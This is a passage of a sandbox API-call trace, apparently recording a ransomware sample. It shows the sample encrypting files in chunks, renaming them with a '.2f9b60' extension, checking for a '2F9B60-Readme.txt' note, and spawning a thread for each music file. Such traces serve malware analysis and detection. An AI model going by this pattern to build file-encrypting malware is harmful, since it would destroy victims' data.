Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x564680d9 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x81e15d1 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x7aad9e07 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x5ee7cfbc [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x21883ec2 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x76cea61c [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0xa2e2ef1 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x226dc8ed [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4444ac95 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4719b697 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x26f84837 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x68d86ae9 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x5576771f [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x3b5116bc [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4d97fd03 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x15262349 [0209.262] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x2af65ac3 [0209.262] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x26b6c41d [0209.262] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x305f34e8 [0209.262] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0xc5bfc80 [0209.262] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x576c837c [0209.262] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4cf28f53 [0209.263] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.263] ReadFile (in: hFile=0x17d8, lpBuffer=0x42dbb8b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x42dbb8b0*, lpNumberOfBytesRead=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0209.263] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0209.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0209.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0209.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0209.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42dca8f0 [0209.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0209.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0209.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0209.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0209.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0209.267] WriteFile (in: hFile=0x17d8, lpBuffer=0x42dca8f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x42dca8f0*, lpNumberOfBytesWritten=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0216.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dca8f0) returned 1 [0216.297] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.297] ReadFile (in: hFile=0x17d8, lpBuffer=0x42dbb8b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x42dbb8b0*, lpNumberOfBytesRead=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0216.297] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0216.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0216.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a70) returned 1 [0216.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42dca8f0 [0216.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0216.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202663f0 [0216.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202663f0) returned 1 [0216.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0216.301] WriteFile (in: hFile=0x17d8, lpBuffer=0x42dca8f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x42dca8f0*, lpNumberOfBytesWritten=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0216.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dca8f0) returned 1 [0216.306] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x12447, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.306] ReadFile (in: hFile=0x17d8, lpBuffer=0x42dbb8b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x42dbb8b0*, lpNumberOfBytesRead=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0216.307] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x12447, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0216.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e570 [0216.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0216.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c80) returned 1 [0216.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42dca8f0 [0216.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0216.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267bc0 [0216.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267bc0) returned 1 [0216.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e570) returned 1 [0216.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0216.311] WriteFile (in: hFile=0x17d8, lpBuffer=0x42dca8f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x42dca8f0*, lpNumberOfBytesWritten=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0216.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dca8f0) returned 1 [0216.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fd00 [0216.316] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.316] WriteFile (in: hFile=0x17d8, lpBuffer=0x1338c0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3970f700, lpOverlapped=0x0 | out: lpBuffer=0x1338c0*, lpNumberOfBytesWritten=0x3970f700*=0x150, lpOverlapped=0x0) returned 1 [0219.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0219.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0219.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab310 [0219.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab310) returned 1 [0219.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202ab310 [0219.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab760 [0219.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab8b0 [0219.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab8b0) returned 1 [0219.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0219.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0219.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61e70 [0219.450] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="73") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="cc") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="10") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="6d") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="4e") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="71") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="34") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="a7") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="fe") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="fe") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="da") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="e0") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="d9") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="3e") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="53") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="19") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="ef") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="fd") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="6e") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="6d") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="aa") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="42") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="19") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="38") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="0c") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="8f") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="3e") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="da") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61ea8, _Format="%c%c" | out: _Dest="84") returned 2 [0219.451] sprintf (in: _Dest=0x1ce61eaa, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.451] RtlInitAnsiString (in: DestinationString=0x3970f778, SourceString="73cc106d4e7134a7fefedae0d93e5319effd6e6daa4219380c8f3eda84fa" | out: DestinationString="73cc106d4e7134a7fefedae0d93e5319effd6e6daa4219380c8f3eda84fa") [0219.451] RtlAnsiStringToUnicodeString (in: DestinationString=0x3970f748, SourceString="73cc106d4e7134a7fefedae0d93e5319effd6e6daa4219380c8f3eda84fa", AllocateDestinationString=1 | out: DestinationString="73cc106d4e7134a7fefedae0d93e5319effd6e6daa4219380c8f3eda84fa") returned 0x0 [0219.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x42c23050 [0219.452] wcscat (in: _Dest=0x431117a0, _Source="73cc106d4e7134a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\73cc106d4e7134a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\73cc106d4e7134a" [0219.452] wcscat (in: _Dest=0x431117a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\73cc106d4e7134a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\73cc106d4e7134a.2f9b60" [0219.452] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\73cc106d4e7134a.2f9b60", NtPathName=0x3970f720, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\73cc106d4e7134a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43157fa0 [0224.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157fa0) returned 1 [0224.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43082cd0) returned 1 [0224.856] NtQueryInformationFile (in: FileHandle=0x17d8, IoStatusBlock=0x3970f788, FileInformation=0x3970f798, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3970f788, FileInformation=0x3970f798) returned 0x0 [0224.856] NtSetInformationFile (FileHandle=0x17d8, IoStatusBlock=0x3970f788, FileInformation=0x3970f798, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431117a0) returned 1 [0225.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c23050) returned 1 [0225.807] FlushFileBuffers (hFile=0x17d8) returned 1 [0225.809] CloseHandle (hObject=0x17d8) returned 1 [0226.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107e40 [0226.207] wcscpy (in: _Dest=0x107e40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0226.207] wcscat (in: _Dest=0x107e40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" [0226.207] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2f9b60-readme.txt")) returned 0x20 [0226.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 [0226.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16660) returned 1 [0226.209] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb366d00, ftCreationTime.dwHighDateTime=0x1d5dfcd, ftLastAccessTime.dwLowDateTime=0x1e9d0610, ftLastAccessTime.dwHighDateTime=0x1d5e08f, ftLastWriteTime.dwLowDateTime=0x1e9d0610, ftLastWriteTime.dwHighDateTime=0x1d5e08f, nFileSizeHigh=0x0, nFileSizeLow=0xf67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="F_zQk7m.m4a", cAlternateFileName="")) returned 1 [0226.209] wcscmp (_String1="F_zQk7m.m4a", _String2=".") returned 1 [0226.209] wcscmp (_String1="F_zQk7m.m4a", _String2="..") returned 1 [0226.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce16660 [0226.209] wcscpy (in: _Dest=0x1ce16660, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0226.209] wcscat (in: _Dest=0x1ce16660, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0226.209] wcscat (in: _Dest=0x1ce16660, _Source="F_zQk7m.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\F_zQk7m.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\F_zQk7m.m4a" [0226.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce16660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0226.925] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49c4870, ftCreationTime.dwHighDateTime=0x1d5df4d, ftLastAccessTime.dwLowDateTime=0x8e0c7bf0, ftLastAccessTime.dwHighDateTime=0x1d5e62c, ftLastWriteTime.dwLowDateTime=0x8e0c7bf0, ftLastWriteTime.dwHighDateTime=0x1d5e62c, nFileSizeHigh=0x0, nFileSizeLow=0x12c0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="hdAiQ0x.mp3", cAlternateFileName="")) returned 1 [0226.925] wcscmp (_String1="hdAiQ0x.mp3", _String2=".") returned 1 [0226.925] wcscmp (_String1="hdAiQ0x.mp3", _String2="..") returned 1 [0226.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ade40 [0226.925] wcscpy (in: _Dest=0x202ade40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0226.925] wcscat (in: _Dest=0x202ade40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0226.925] wcscat (in: _Dest=0x202ade40, _Source="hdAiQ0x.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\hdAiQ0x.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\hdAiQ0x.mp3" [0226.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ade40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0226.927] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5867f3f0, ftCreationTime.dwHighDateTime=0x1d5e6e3, ftLastAccessTime.dwLowDateTime=0x916a8870, ftLastAccessTime.dwHighDateTime=0x1d5e747, ftLastWriteTime.dwLowDateTime=0x916a8870, ftLastWriteTime.dwHighDateTime=0x1d5e747, nFileSizeHigh=0x0, nFileSizeLow=0x109bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="S3bWavo-0UZyDMaC.mp3", cAlternateFileName="S3BWAV~1.MP3")) returned 1 [0226.927] wcscmp (_String1="S3bWavo-0UZyDMaC.mp3", _String2=".") returned 1 [0226.927] wcscmp (_String1="S3bWavo-0UZyDMaC.mp3", _String2="..") returned 1 [0226.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4311aea0 [0226.927] wcscpy (in: _Dest=0x4311aea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0226.927] wcscat (in: _Dest=0x4311aea0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0226.927] wcscat (in: _Dest=0x4311aea0, _Source="S3bWavo-0UZyDMaC.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\S3bWavo-0UZyDMaC.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\S3bWavo-0UZyDMaC.mp3" [0226.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4311aea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b20 [0226.928] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5867f3f0, ftCreationTime.dwHighDateTime=0x1d5e6e3, ftLastAccessTime.dwLowDateTime=0x916a8870, ftLastAccessTime.dwHighDateTime=0x1d5e747, ftLastWriteTime.dwLowDateTime=0x916a8870, ftLastWriteTime.dwHighDateTime=0x1d5e747, nFileSizeHigh=0x0, nFileSizeLow=0x109bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="S3bWavo-0UZyDMaC.mp3", cAlternateFileName="S3BWAV~1.MP3")) returned 0 [0226.928] FindClose (in: hFindFile=0x1cd9c7f0 | out: hFindFile=0x1cd9c7f0) returned 1 [0226.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9af20) returned 1 [0226.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c790) returned 1 [0226.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ace0) returned 1 [0226.973] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cd17e0, ftCreationTime.dwHighDateTime=0x1d5e431, ftLastAccessTime.dwLowDateTime=0xda6e4fd0, ftLastAccessTime.dwHighDateTime=0x1d5e5ed, ftLastWriteTime.dwLowDateTime=0xda6e4fd0, ftLastWriteTime.dwHighDateTime=0x1d5e5ed, nFileSizeHigh=0x0, nFileSizeLow=0x12b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1tip2DTw1r.m4a", cAlternateFileName="1TIP2D~1.M4A")) returned 1 [0226.973] wcscmp (_String1="1tip2DTw1r.m4a", _String2=".") returned 1 [0226.973] wcscmp (_String1="1tip2DTw1r.m4a", _String2="..") returned 1 [0226.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506090 [0226.974] wcscpy (in: _Dest=0x20506090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0226.974] wcscat (in: _Dest=0x20506090, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0226.974] wcscat (in: _Dest=0x20506090, _Source="1tip2DTw1r.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1tip2DTw1r.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1tip2DTw1r.m4a" [0226.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea4 [0226.988] FindNextFileW (in: hFindFile=0x1cd9da30, lpFindFileData=0x20501b70 | out: lpFindFileData=0x20501b70*(dwFileAttributes=0x20, 